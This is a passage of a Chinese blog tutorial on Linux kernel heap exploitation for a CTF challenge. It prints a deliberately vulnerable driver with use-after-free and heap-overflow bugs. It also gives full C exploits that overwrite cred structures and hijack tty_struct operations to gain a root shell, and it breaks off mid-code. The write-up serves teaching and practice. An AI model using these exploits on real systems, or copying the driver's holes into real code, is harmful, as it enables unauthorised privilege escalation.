51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

Linux kernel 堆溢出利用方法

前言

本文还是用一道例题来讲解几种内核堆利用方法,内核堆利用手段比较多,可能会分三期左右写。进行内核堆利用前,可以先了解一下内核堆的基本概念,当然更好去找一些详细的内核堆的基础知识。

概述

Linux kernel 将内存分为 页(page)→区(zone)→节点(node) 三级结构,主要有两个内存管理器------ buddy systemslub allocator ,前者负责以内存页为粒度管理所有可用的物理内存,后者则以 slab 分配器为基础向前者请求内存页并划分为多个较小的对象(object)以进行细粒度的内存管理。

page-zone-node

budy system

buddy systempage 为粒度管理着所有的物理内存,在每个 zone 结构体中都有一个 free_area 结构体数组,用以存储 buddy system 按照 order 管理的页面:

  • 分配:

    • 首先会将请求的内存大小向 2 的幂次方张内存页大小对齐,之后从对应的下标取出连续内存页。

    • 若对应下标链表为空,则会从下一个 order 中取出内存页,一分为二,装载到当前下标对应链表中,之后再返还给上层调用,若下一个 order 也为空则会继续向更高的 order 进行该请求过程。

  • 释放:

    • 将对应的连续内存页释放到对应的链表上。

    • 检索是否有可以合并的内存页,若有,则进行合成,放入更高 order 的链表中。

zone_struct

slub allocator

slub_allocator 是基于 slab_alloctor 的分配器。 slab allocatorbuddy system 请求单张或多张连续内存页后再分割成同等大小的 object 返还给上层调用者来实现更为细粒度的内存管理。

  • 分配:

    • 首先从 kmem_cache_cpu 上取对象,若有则直接返回。

    • kmem_cache_cpu 上的 slub 已经无空闲对象了,对应 slub 会被从 kmem_cache_cpu 上取下,并尝试从 partial 链表上取一个 slub 挂载到 kmem_cache_cpu 上,然后再取出空闲对象返回。

    • kmem_cache_nodepartial 链表也空了,那就向 buddy system 请求分配新的内存页,划分为多个 object 之后再给到 kmem_cache_cpu ,取空闲对象返回上层调用。

  • 释放:

    • 若被释放 object 属于 kmem_cache_cpuslub ,直接使用头插法插入当前 CPU slubfreelist

    • 若被释放 object 属于 kmem_cache_nodepartial 链表上的 slub ,直接使用头插法插入对应 slubfreelist

    • 若被释放 objectfull slub ,则其会成为对应 slubfreelist 头节点,且该 slub 会被放置到 partial 链表。

slub_allocator



heap_bof

题目分析

题目给了源码,存在 UAFheap overflow 两种漏洞。内核版本为 4.4.27

              
                
                  #include <asm/uaccess.h>
                
              
              

              
                
                  #include <linux/cdev.h>
                
              
              

              
                
                  #include <linux/device.h>
                
              
              

              
                
                  #include <linux/fs.h>
                
              
              

              
                
                  #include <linux/kernel.h>
                
              
              

              
                
                  #include <linux/module.h>
                
              
              

              
                
                  #include <linux/slab.h>
                
              
              

              
                
                  #include <linux/types.h>
                
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  class
                
                
                  *
                
                
                  bof_class
                
                ;
              
              

              
                
                  struct
                
                
                  cdev
                
                
                  cdev
                
                ;
              
              

              
                
                
              
              

              
                
                  int
                
                
                  bof_major
                
                
                  =
                
                
                  256
                
                ;
              
              

              
                
                  char
                
                
                  *
                
                
                  ptr
                
                [
                
                  40
                
                ];
                
                  // 指针数组,用于存放分配的指针
                
              
              

              
                
                  struct
                
                
                  param
                
                 {
              
              

              
                    
                
                  size_t
                
                
                  len
                
                ;       
                
                  // 内容长度
                
              
              

              
                    
                
                  char
                
                
                  *
                
                
                  buf
                
                ;        
                
                  // 用户态缓冲区地址
                
              
              

              
                    
                
                  unsigned
                
                
                  long
                
                
                  idx
                
                ;
                
                  // 表示 ptr 数组的 索引
                
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  long
                
                
                  bof_ioctl
                
                (
                
                  struct
                
                
                  file
                
                
                  *
                
                
                  filp
                
                , 
                
                  unsigned
                
                
                  int
                
                
                  cmd
                
                , 
                
                  unsigned
                
                
                  long
                
                
                  arg
                
                ) {
              
              

              
                    
                
                  struct
                
                
                  param
                
                
                  p_arg
                
                ;
              
              

              
                    
                
                  copy_from_user
                
                (
                
                  &
                
                
                  p_arg
                
                , (
                
                  void
                
                
                  *
                
                ) 
                
                  arg
                
                , 
                
                  sizeof
                
                (
                
                  struct
                
                
                  param
                
                ));
              
              

              
                    
                
                  long
                
                
                  retval
                
                
                  =
                
                
                  0
                
                ;
              
              

              
                    
                
                  switch
                
                 (
                
                  cmd
                
                ) {
              
              

              
                        
                
                  case
                
                
                  9
                
                :
              
              

              
                            
                
                  copy_to_user
                
                (
                
                  p_arg
                
                .
                
                  buf
                
                , 
                
                  ptr
                
                [
                
                  p_arg
                
                .
                
                  idx
                
                ], 
                
                  p_arg
                
                .
                
                  len
                
                );
              
              

              
                            
                
                  printk
                
                (
                
                  "copy_to_user: 0x%lx\n"
                
                , 
                
                  *
                
                (
                
                  long
                
                
                  *
                
                ) 
                
                  ptr
                
                [
                
                  p_arg
                
                .
                
                  idx
                
                ]);
              
              

              
                            
                
                  break
                
                ;
              
              

              
                        
                
                  case
                
                
                  8
                
                :
              
              

              
                            
                
                  copy_from_user
                
                (
                
                  ptr
                
                [
                
                  p_arg
                
                .
                
                  idx
                
                ], 
                
                  p_arg
                
                .
                
                  buf
                
                , 
                
                  p_arg
                
                .
                
                  len
                
                );
              
              

              
                            
                
                  break
                
                ;
              
              

              
                        
                
                  case
                
                
                  7
                
                :
              
              

              
                            
                
                  kfree
                
                (
                
                  ptr
                
                [
                
                  p_arg
                
                .
                
                  idx
                
                ]);
              
              

              
                            
                
                  printk
                
                (
                
                  "free: 0x%p\n"
                
                , 
                
                  ptr
                
                [
                
                  p_arg
                
                .
                
                  idx
                
                ]);
              
              

              
                            
                
                  break
                
                ;
              
              

              
                        
                
                  case
                
                
                  5
                
                :
              
              

              
                            
                
                  ptr
                
                [
                
                  p_arg
                
                .
                
                  idx
                
                ] 
                
                  =
                
                
                  kmalloc
                
                (
                
                  p_arg
                
                .
                
                  len
                
                , 
                
                  GFP_KERNEL
                
                );
              
              

              
                            
                
                  printk
                
                (
                
                  "alloc: 0x%p, size: %2lx\n"
                
                , 
                
                  ptr
                
                [
                
                  p_arg
                
                .
                
                  idx
                
                ], 
                
                  p_arg
                
                .
                
                  len
                
                );
              
              

              
                            
                
                  break
                
                ;
              
              

              
                        
                
                  default
                
                :
              
              

              
                            
                
                  retval
                
                
                  =
                
                
                  -
                
                
                  1
                
                ;
              
              

              
                            
                
                  break
                
                ;
              
              

              
                    }
              
              

              
                    
                
                  return
                
                
                  retval
                
                ;
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  static
                
                
                  const
                
                
                  struct
                
                
                  file_operations
                
                
                  bof_fops
                
                
                  =
                
                 {
              
              

              
                        .
                
                  owner
                
                
                  =
                
                
                  THIS_MODULE
                
                ,
              
              

              
                        .
                
                  unlocked_ioctl
                
                
                  =
                
                
                  bof_ioctl
                
                ,
                
                  //linux 2.6.36内核之后unlocked_ioctl取代ioctl
                
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  static
                
                
                  int
                
                
                  bof_init
                
                (
                
                  void
                
                ) {
              
              

              
                    
                
                  //设备号
                
              
              

              
                    
                
                  dev_t
                
                
                  devno
                
                
                  =
                
                
                  MKDEV
                
                (
                
                  bof_major
                
                , 
                
                  0
                
                );
              
              

              
                    
                
                  int
                
                
                  result
                
                ;
              
              

              
                    
                
                  if
                
                 (
                
                  bof_major
                
                )
                
                  //静态分配设备号
                
              
              

              
                        
                
                  result
                
                
                  =
                
                
                  register_chrdev_region
                
                (
                
                  devno
                
                , 
                
                  1
                
                , 
                
                  "bof"
                
                );
              
              

              
                    
                
                  else
                
                 {
                
                  //动态分配设备号
                
              
              

              
                        
                
                  result
                
                
                  =
                
                
                  alloc_chrdev_region
                
                (
                
                  &
                
                
                  devno
                
                , 
                
                  0
                
                , 
                
                  1
                
                , 
                
                  "bof"
                
                );
              
              

              
                        
                
                  bof_major
                
                
                  =
                
                
                  MAJOR
                
                (
                
                  devno
                
                );
              
              

              
                    }
              
              

              
                    
                
                  printk
                
                (
                
                  "bof_major /dev/bof: %d\n"
                
                , 
                
                  bof_major
                
                );
              
              

              
                    
                
                  if
                
                 (
                
                  result
                
                
                  <
                
                
                  0
                
                ) 
                
                  return
                
                
                  result
                
                ;
              
              

              
                    
                
                  bof_class
                
                
                  =
                
                
                  class_create
                
                (
                
                  THIS_MODULE
                
                , 
                
                  "bof"
                
                );
              
              

              
                    
                
                  device_create
                
                (
                
                  bof_class
                
                , 
                
                  NULL
                
                , 
                
                  devno
                
                , 
                
                  NULL
                
                , 
                
                  "bof"
                
                );
              
              

              
                    
                
                  cdev_init
                
                (
                
                  &
                
                
                  cdev
                
                , 
                
                  &
                
                
                  bof_fops
                
                );
              
              

              
                    
                
                  cdev
                
                .
                
                  owner
                
                
                  =
                
                
                  THIS_MODULE
                
                ;
              
              

              
                    
                
                  cdev_add
                
                (
                
                  &
                
                
                  cdev
                
                , 
                
                  devno
                
                , 
                
                  1
                
                );
              
              

              
                    
                
                  return
                
                
                  0
                
                ;
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  static
                
                
                  void
                
                
                  bof_exit
                
                (
                
                  void
                
                ) {
              
              

              
                    
                
                  cdev_del
                
                (
                
                  &
                
                
                  cdev
                
                );
              
              

              
                    
                
                  device_destroy
                
                (
                
                  bof_class
                
                , 
                
                  MKDEV
                
                (
                
                  bof_major
                
                , 
                
                  0
                
                ));
              
              

              
                    
                
                  class_destroy
                
                (
                
                  bof_class
                
                );
              
              

              
                    
                
                  unregister_chrdev_region
                
                (
                
                  MKDEV
                
                (
                
                  bof_major
                
                , 
                
                  0
                
                ), 
                
                  1
                
                );
              
              

              
                    
                
                  printk
                
                (
                
                  "bof exit success\n"
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  MODULE_AUTHOR
                
                (
                
                  "exp_ttt"
                
                );
              
              

              
                
                  MODULE_LICENSE
                
                (
                
                  "GPL"
                
                );
              
              

              
                
                  module_init
                
                (
                
                  bof_init
                
                );
              
              

              
                
                  module_exit
                
                (
                
                  bof_exit
                
                );
              
            

boot.sh

这道题是多核多线程。并且开启了 smepsmap

              
                
                  #!/bin/bash
                
              
              

              
                
                
              
              

              
                qemu-system-x86_64 \
              
              

              
                  
                
                  -initrd
                
                 rootfs.cpio \
              
              

              
                  
                
                  -kernel
                
                 bzImage \
              
              

              
                  
                
                  -m
                
                 512M \
              
              

              
                  
                
                  -nographic
                
                 \
              
              

              
                  
                
                  -append
                
                
                  'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr'
                
                 \
              
              

              
                  
                
                  -monitor
                
                 /dev/null \
              
              

              
                  
                
                  -smp
                
                
                  cores
                
                
                  =
                
                
                  2
                
                
                  ,threads
                
                
                  =
                
                
                  2
                
                 \
              
              

              
                  
                
                  -cpu
                
                 kvm64,
                
                  +
                
                smep,
                
                  +
                
                smap \
              
            

kernel Use After Free

利用思路

cred 结构体大小为 0xa8 ,根据 slub 分配机制,如果申请和释放大小为 0xa8 (实际为 0xc0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。

exp

              
                
                  #include <fcntl.h>
                
              
              

              
                
                  #include <stdio.h>
                
              
              

              
                
                  #include <stdlib.h>
                
              
              

              
                
                  #include <string.h>
                
              
              

              
                
                  #include <sys/ioctl.h>
                
              
              

              
                
                  #include <unistd.h>
                
              
              

              
                
                  #include <sys/wait.h>
                
              
              

              
                
                
              
              

              
                
                  #define BOF_MALLOC 5
                
              
              

              
                
                  #define BOF_FREE 7
                
              
              

              
                
                  #define BOF_EDIT 8
                
              
              

              
                
                  #define BOF_READ 9
                
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  param
                
                 {
              
              

              
                    
                
                  size_t
                
                
                  len
                
                ;       
                
                  // 内容长度
                
              
              

              
                    
                
                  char
                
                
                  *
                
                
                  buf
                
                ;        
                
                  // 用户态缓冲区地址
                
              
              

              
                    
                
                  unsigned
                
                
                  long
                
                
                  idx
                
                ;
                
                  // 表示 ptr 数组的 索引
                
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  int
                
                
                  main
                
                () {
              
              

              
                    
                
                  int
                
                
                  fd
                
                
                  =
                
                
                  open
                
                (
                
                  "dev/bof"
                
                , 
                
                  O_RDWR
                
                );
              
              

              
                    
                
                  struct
                
                
                  param
                
                
                  p
                
                
                  =
                
                 {
                
                  0xa8
                
                , 
                
                  malloc
                
                (
                
                  0xa8
                
                ), 
                
                  1
                
                };
              
              

              
                    
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  BOF_MALLOC
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  BOF_FREE
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  int
                
                
                  pid
                
                
                  =
                
                
                  fork
                
                (); 
                
                  // 这个线程申请的cred结构体obj即为刚才释放的obj。
                
              
              

              
                    
                
                  if
                
                 (
                
                  pid
                
                
                  <
                
                
                  0
                
                ) {
              
              

              
                        
                
                  puts
                
                (
                
                  "[-]fork error"
                
                );
              
              

              
                        
                
                  return
                
                
                  -
                
                
                  1
                
                ;
              
              

              
                    }
              
              

              
                    
                
                  if
                
                 (
                
                  pid
                
                
                  ==
                
                
                  0
                
                ) {
              
              

              
                        
                
                  p
                
                .
                
                  buf
                
                
                  =
                
                
                  malloc
                
                (
                
                  p
                
                .
                
                  len
                
                
                  =
                
                
                  0x30
                
                );
              
              

              
                        
                
                  memset
                
                (
                
                  p
                
                .
                
                  buf
                
                , 
                
                  0
                
                , 
                
                  p
                
                .
                
                  len
                
                );
              
              

              
                        
                
                  ioctl
                
                (
                
                  fd
                
                , 
                
                  BOF_EDIT
                
                , 
                
                  &
                
                
                  p
                
                ); 
                
                  // 修改用户ID
                
              
              

              
                        
                
                  if
                
                 (
                
                  getuid
                
                () 
                
                  ==
                
                
                  0
                
                ) {
              
              

              
                            
                
                  puts
                
                (
                
                  "[+]root success"
                
                );
              
              

              
                            
                
                  system
                
                (
                
                  "/bin/sh"
                
                );
              
              

              
                        } 
                
                  else
                
                 {
              
              

              
                            
                
                  puts
                
                (
                
                  "[-]root failed"
                
                );
              
              

              
                        }
              
              

              
                    } 
                
                  else
                
                 {
              
              

              
                        
                
                  wait
                
                (
                
                  NULL
                
                );
              
              

              
                    }
              
              

              
                    
                
                  close
                
                (
                
                  fd
                
                );
              
              

              
                    
                
                  return
                
                
                  0
                
                ;
              
              

              
                }
              
            

但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object ,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启) cred_jar 不会再与相同大小的 kmalloc-192 进行合并。

              
                
                  // kernel version == 4.4.72
                
              
              

              
                
                  void
                
                
                  __init
                
                
                  cred_init
                
                (
                
                  void
                
                )
              
              

              
                {
              
              

              
                
                      
                
                
                  /* allocate a slab in which we can store credentials */
                
              
              

              
                
                      
                
                
                  cred_jar
                
                
                  =
                
                
                  kmem_cache_create
                
                (
                
                  "cred_jar"
                
                , 
                
                  sizeof
                
                (
                
                  struct
                
                
                  cred
                
                ),
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                      
                
                     
                
                  0
                
                , 
                
                  SLAB_HWCACHE_ALIGN
                
                
                  |
                
                
                  SLAB_PANIC
                
                , 
                
                  NULL
                
                );
              
              

              
                }
              
              

              
                
                  // kernel version == 4.5
                
              
              

              
                
                  void
                
                
                  __init
                
                
                  cred_init
                
                (
                
                  void
                
                )
              
              

              
                {
              
              

              
                
                      
                
                
                  /* allocate a slab in which we can store credentials */
                
              
              

              
                
                      
                
                
                  cred_jar
                
                
                  =
                
                
                  kmem_cache_create
                
                (
                
                  "cred_jar"
                
                , 
                
                  sizeof
                
                (
                
                  struct
                
                
                  cred
                
                ), 
                
                  0
                
                ,
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  SLAB_HWCACHE_ALIGN
                
                
                  |
                
                
                  SLAB_PANIC
                
                
                  |
                
                
                  SLAB_ACCOUNT
                
                , 
                
                  NULL
                
                );
              
              

              
                }
              
            

heap overflow

溢出修改 cred ,和前面 UAF 修改 cred 一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些 0xc0 大小的 obj ,因为我们 freelist 中存在很多之前使用又被释放的 obj 导致的 obj 乱序。我们需要一个排列整齐的内存块用于修改。

利用思路

  1. 多申请几个 0xa8 大小的内存块,将原有混乱的 freelist 变为地址连续的 freelist

  2. 利用堆溢出,修改被重新申请作为 credptr[5] 凭证区为 0

exp

              
                
                  #include <stdio.h>
                
              
              

              
                
                  #include <fcntl.h>
                
              
              

              
                
                  #include <sys/ioctl.h>
                
              
              

              
                
                  #include <unistd.h>
                
              
              

              
                
                  #include <string.h>
                
              
              

              
                
                  #include <stdlib.h>
                
              
              

              
                
                  #include <sys/wait.h>
                
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  param
                
                 {
              
              

              
                    
                
                  size_t
                
                
                  len
                
                ;    
                
                  // 内容长度
                
              
              

              
                    
                
                  char
                
                
                  *
                
                
                  buf
                
                ;     
                
                  // 用户态缓冲区地址
                
              
              

              
                    
                
                  long
                
                
                  long
                
                
                  idx
                
                ; 
                
                  // 表示 ptr 数组的 索引
                
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  const
                
                
                  int
                
                
                  BOF_NUM
                
                
                  =
                
                
                  10
                
                ;
              
              

              
                
                
              
              

              
                
                  int
                
                
                  main
                
                (
                
                  void
                
                ) {
              
              

              
                    
                
                  int
                
                
                  bof_fd
                
                
                  =
                
                
                  open
                
                (
                
                  "/dev/bof"
                
                , 
                
                  O_RDWR
                
                );
              
              

              
                    
                
                  if
                
                 (
                
                  bof_fd
                
                
                  ==
                
                
                  -
                
                
                  1
                
                ) {
              
              

              
                        
                
                  puts
                
                (
                
                  "[-] Failed to open bof device."
                
                );
              
              

              
                        
                
                  exit
                
                (
                
                  -
                
                
                  1
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  struct
                
                
                  param
                
                
                  p
                
                
                  =
                
                 {
                
                  0xa8
                
                , 
                
                  malloc
                
                (
                
                  0xa8
                
                ), 
                
                  0
                
                };
              
              

              
                
                
              
              

              
                    
                
                  // 让驱动分配 0x40 个 0xa8  的内存块
                
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  0x40
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  5
                
                , 
                
                  &
                
                
                  p
                
                );  
                
                  // malloc
                
              
              

              
                    }
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] clear heap done"
                
                );
              
              

              
                
                
              
              

              
                    
                
                  // 让驱动分配 10 个 0xa8  的内存块
                
              
              

              
                    
                
                  for
                
                 (
                
                  p
                
                .
                
                  idx
                
                
                  =
                
                
                  0
                
                ; 
                
                  p
                
                .
                
                  idx
                
                
                  <
                
                
                  BOF_NUM
                
                ; 
                
                  p
                
                .
                
                  idx
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  5
                
                , 
                
                  &
                
                
                  p
                
                );  
                
                  // malloc
                
              
              

              
                    }
              
              

              
                    
                
                  p
                
                .
                
                  idx
                
                
                  =
                
                
                  5
                
                ;
              
              

              
                    
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  7
                
                , 
                
                  &
                
                
                  p
                
                ); 
                
                  // free
                
              
              

              
                
                
              
              

              
                    
                
                  // 调用 fork 分配一个 cred结构体
                
              
              

              
                    
                
                  int
                
                
                  pid
                
                
                  =
                
                
                  fork
                
                ();
              
              

              
                    
                
                  if
                
                 (
                
                  pid
                
                
                  <
                
                
                  0
                
                ) {
              
              

              
                        
                
                  puts
                
                (
                
                  "[-] fork error"
                
                );
              
              

              
                        
                
                  exit
                
                (
                
                  -
                
                
                  1
                
                );
              
              

              
                    }
              
              

              
                
                
              
              

              
                    
                
                  // 此时 ptr[4] 和 cred相邻
                
              
              

              
                    
                
                  // 溢出 修改 cred 实现提权
                
              
              

              
                    
                
                  p
                
                .
                
                  idx
                
                
                  =
                
                
                  4
                
                , 
                
                  p
                
                .
                
                  len
                
                
                  =
                
                
                  0xc0
                
                
                  +
                
                
                  0x30
                
                ;
              
              

              
                    
                
                  memset
                
                (
                
                  p
                
                .
                
                  buf
                
                , 
                
                  0
                
                , 
                
                  p
                
                .
                
                  len
                
                );
              
              

              
                    
                
                  ioctl
                
                (
                
                  bof_fd
                
                , 
                
                  8
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                    
                
                  if
                
                 (
                
                  !
                
                
                  pid
                
                ) {
              
              

              
                        
                
                  //一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了
                
              
              

              
                        
                
                  size_t
                
                
                  uid
                
                
                  =
                
                
                  getuid
                
                ();
              
              

              
                        
                
                  printf
                
                (
                
                  "[*] uid: %zx\n"
                
                , 
                
                  uid
                
                );
              
              

              
                        
                
                  if
                
                 (
                
                  !
                
                
                  uid
                
                ) {
              
              

              
                            
                
                  puts
                
                (
                
                  "[+] root success"
                
                );
              
              

              
                            
                
                  // 权限修改完毕,启动一个shell,就是root的shell了
                
              
              

              
                            
                
                  system
                
                (
                
                  "/bin/sh"
                
                );
              
              

              
                        } 
                
                  else
                
                 {
              
              

              
                            
                
                  puts
                
                (
                
                  "[-] root fail"
                
                );
              
              

              
                        }
              
              

              
                    } 
                
                  else
                
                 {
              
              

              
                        
                
                  wait
                
                (
                
                  0
                
                );
              
              

              
                    }
              
              

              
                    
                
                  return
                
                
                  0
                
                ;
              
              

              
                }
              
            

tty_struct 劫持

boot.sh

这道题 gadget 较少,我们就关了 smep 保护。

              
                
                  #!/bin/bash
                
              
              

              
                
                
              
              

              
                qemu-system-x86_64 \
              
              

              
                  
                
                  -initrd
                
                 rootfs.img \
              
              

              
                  
                
                  -kernel
                
                 bzImage \
              
              

              
                  
                
                  -m
                
                 512M \
              
              

              
                  
                
                  -nographic
                
                 \
              
              

              
                  
                
                  -append
                
                
                  'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr'
                
                 \
              
              

              
                  
                
                  -monitor
                
                 /dev/null \
              
              

              
                  
                
                  -s
                
                 \
              
              

              
                  
                
                  -cpu
                
                 kvm64 \
              
              

              
                  
                
                  -smp
                
                
                  cores
                
                
                  =
                
                
                  1
                
                
                  ,threads
                
                
                  =
                
                
                  1
                
                 \
              
              

              
                  
                
                  --nographic
                
              
            

利用思路

/dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体,

              
                
                  ptmx_open
                
                 (
                
                  drivers
                
                
                  /
                
                
                  tty
                
                
                  /
                
                
                  pty
                
                .
                
                  c
                
                )
              
              

              
                
                  ->
                
                
                  tty_init_dev
                
                 (
                
                  drivers
                
                
                  /
                
                
                  tty
                
                
                  /
                
                
                  tty_io
                
                .
                
                  c
                
                )
              
              

              
                  
                
                  ->
                
                
                  alloc_tty_struct
                
                 (
                
                  drivers
                
                
                  /
                
                
                  tty
                
                
                  /
                
                
                  tty_io
                
                .
                
                  c
                
                )
              
            

tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项( 64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为 0x5401

              
                
                  // sizeof(struct tty_struct) == 0x2e0
                
              
              

              
                
                  /* tty magic number */
                
              
              

              
                
                  #define TTY_MAGIC        0x5401
                
              
              

              
                
                  struct
                
                
                  tty_struct
                
                 {
              
              

              
                    ...
              
              

              
                
                      
                
                
                  const
                
                
                  struct
                
                
                  tty_operations
                
                
                  *
                
                
                  ops
                
                ;
              
              

              
                
                      
                
                ...
              
              

              
                }
              
              

              
                
                  struct
                
                
                  tty_operations
                
                 {
              
              

              
                    ...
              
              

              
                
                      
                
                
                  int
                
                  (
                
                  *
                
                
                  ioctl
                
                )(
                
                  struct
                
                
                  tty_struct
                
                
                  *
                
                
                  tty
                
                ,
              
              

              
                
                      
                
                
                      
                
                    
                
                  unsigned
                
                
                  int
                
                
                  cmd
                
                , 
                
                  unsigned
                
                
                  long
                
                
                  arg
                
                );
              
              

              
                    ...
              
              

              
                };
              
            

使用 tty 设备的前提是挂载了 ptmx 设备。

              
                
                  mkdir
                
                 /dev/pts
              
              

              
                mount 
                
                  -t
                
                 devpts none /dev/pts
              
              

              
                
                  chmod
                
                
                  777
                
                 /dev/ptmx
              
            

所以我们只需要劫持 tty_ops 的某个可触发的操作即可,将其劫持到 get_root 函数处。

exp

              
                
                  #include <sys/wait.h>
                
              
              

              
                
                  #include <assert.h>
                
              
              

              
                
                  #include <fcntl.h>
                
              
              

              
                
                  #include <stdio.h>
                
              
              

              
                
                  #include <stdlib.h>
                
              
              

              
                
                  #include <string.h>
                
              
              

              
                
                  #include <sys/ioctl.h>
                
              
              

              
                
                  #include <sys/mman.h>
                
              
              

              
                
                  #include <unistd.h>
                
              
              

              
                
                
              
              

              
                
                  #define BOF_MALLOC 5
                
              
              

              
                
                  #define BOF_FREE 7
                
              
              

              
                
                  #define BOF_EDIT 8
                
              
              

              
                
                  #define BOF_READ 9
                
              
              

              
                
                
              
              

              
                
                  void
                
                
                  *
                
                (
                
                  *
                
                
                  commit_creds
                
                )(
                
                  void
                
                
                  *
                
                ) 
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) 
                
                  0xffffffff810a1340
                
                ;
              
              

              
                
                  size_t
                
                
                  init_cred
                
                
                  =
                
                
                  0xFFFFFFFF81E496C0
                
                ;
              
              

              
                
                
              
              

              
                
                  void
                
                
                  get_shell
                
                ()
              
              

              
                {
              
              

              
                    
                
                  system
                
                (
                
                  "/bin/sh"
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  unsigned
                
                
                  long
                
                
                  user_cs
                
                , 
                
                  user_rflags
                
                , 
                
                  user_rsp
                
                , 
                
                  user_ss
                
                , 
                
                  user_rip
                
                
                  =
                
                 (
                
                  size_t
                
                ) 
                
                  get_shell
                
                ;
              
              

              
                
                
              
              

              
                
                  void
                
                
                  save_status
                
                () {
              
              

              
                    
                
                  __asm__
                
                (
              
              

              
                        
                
                  "mov user_cs, cs;"
                
              
              

              
                        
                
                  "mov user_ss, ss;"
                
              
              

              
                        
                
                  "mov user_rsp, rsp;"
                
              
              

              
                        
                
                  "pushf;"
                
              
              

              
                        
                
                  "pop user_rflags;"
                
              
              

              
                    );
              
              

              
                    
                
                  puts
                
                (
                
                  "[*]status has been saved."
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  kernel_offset
                
                ;
              
              

              
                
                
              
              

              
                
                  void
                
                
                  get_root
                
                () {
              
              

              
                    
                
                  // 通过栈上残留地址来绕过 KASLR
                
              
              

              
                    
                
                  __asm__
                
                (
              
              

              
                        
                
                  "mov rbx, [rsp + 8];"
                
              
              

              
                        
                
                  "mov kernel_offset, rbx;"
                
              
              

              
                    );
              
              

              
                    
                
                  kernel_offset
                
                
                  -=
                
                
                  0xffffffff814f604f
                
                ;
              
              

              
                    
                
                  commit_creds
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) ((
                
                  size_t
                
                ) 
                
                  commit_creds
                
                
                  +
                
                
                  kernel_offset
                
                );
              
              

              
                    
                
                  init_cred
                
                
                  =
                
                 (
                
                  void
                
                
                  *
                
                ) ((
                
                  size_t
                
                ) 
                
                  init_cred
                
                
                  +
                
                
                  kernel_offset
                
                );
              
              

              
                    
                
                  commit_creds
                
                (
                
                  init_cred
                
                );
              
              

              
                    
                
                  __asm__
                
                (
              
              

              
                        
                
                  "swapgs;"
                
              
              

              
                        
                
                  "push user_ss;"
                
              
              

              
                        
                
                  "push user_rsp;"
                
              
              

              
                        
                
                  "push user_rflags;"
                
              
              

              
                        
                
                  "push user_cs;"
                
              
              

              
                        
                
                  "push user_rip;"
                
              
              

              
                        
                
                  "iretq;"
                
              
              

              
                    );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  param
                
                 {
              
              

              
                    
                
                  size_t
                
                
                  len
                
                ;    
                
                  // 内容长度
                
              
              

              
                    
                
                  char
                
                
                  *
                
                
                  buf
                
                ;     
                
                  // 用户态缓冲区地址
                
              
              

              
                    
                
                  long
                
                
                  long
                
                
                  idx
                
                ; 
                
                  // 表示 ptr 数组的 索引
                
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  int
                
                
                  main
                
                (
                
                  int
                
                
                  argc
                
                , 
                
                  char
                
                
                  const
                
                
                  *
                
                
                  argv
                
                [])
              
              

              
                {
              
              

              
                    
                
                  save_status
                
                ();
              
              

              
                
                
              
              

              
                    
                
                  size_t
                
                
                  fake_tty_ops
                
                [] 
                
                  =
                
                 {
              
              

              
                        
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                ,
              
              

              
                        
                
                  get_root
                
              
              

              
                    };
              
              

              
                
                
              
              

              
                    
                
                  // len buf idx
                
              
              

              
                    
                
                  struct
                
                
                  param
                
                
                  p
                
                
                  =
                
                 {
                
                  0x2e0
                
                , 
                
                  malloc
                
                (
                
                  0x2e0
                
                ), 
                
                  0
                
                };
              
              

              
                    
                
                  printf
                
                (
                
                  "[*]p_addr==>%p\n"
                
                , 
                
                  &
                
                
                  p
                
                );
              
              

              
                
                
              
              

              
                    
                
                  int
                
                
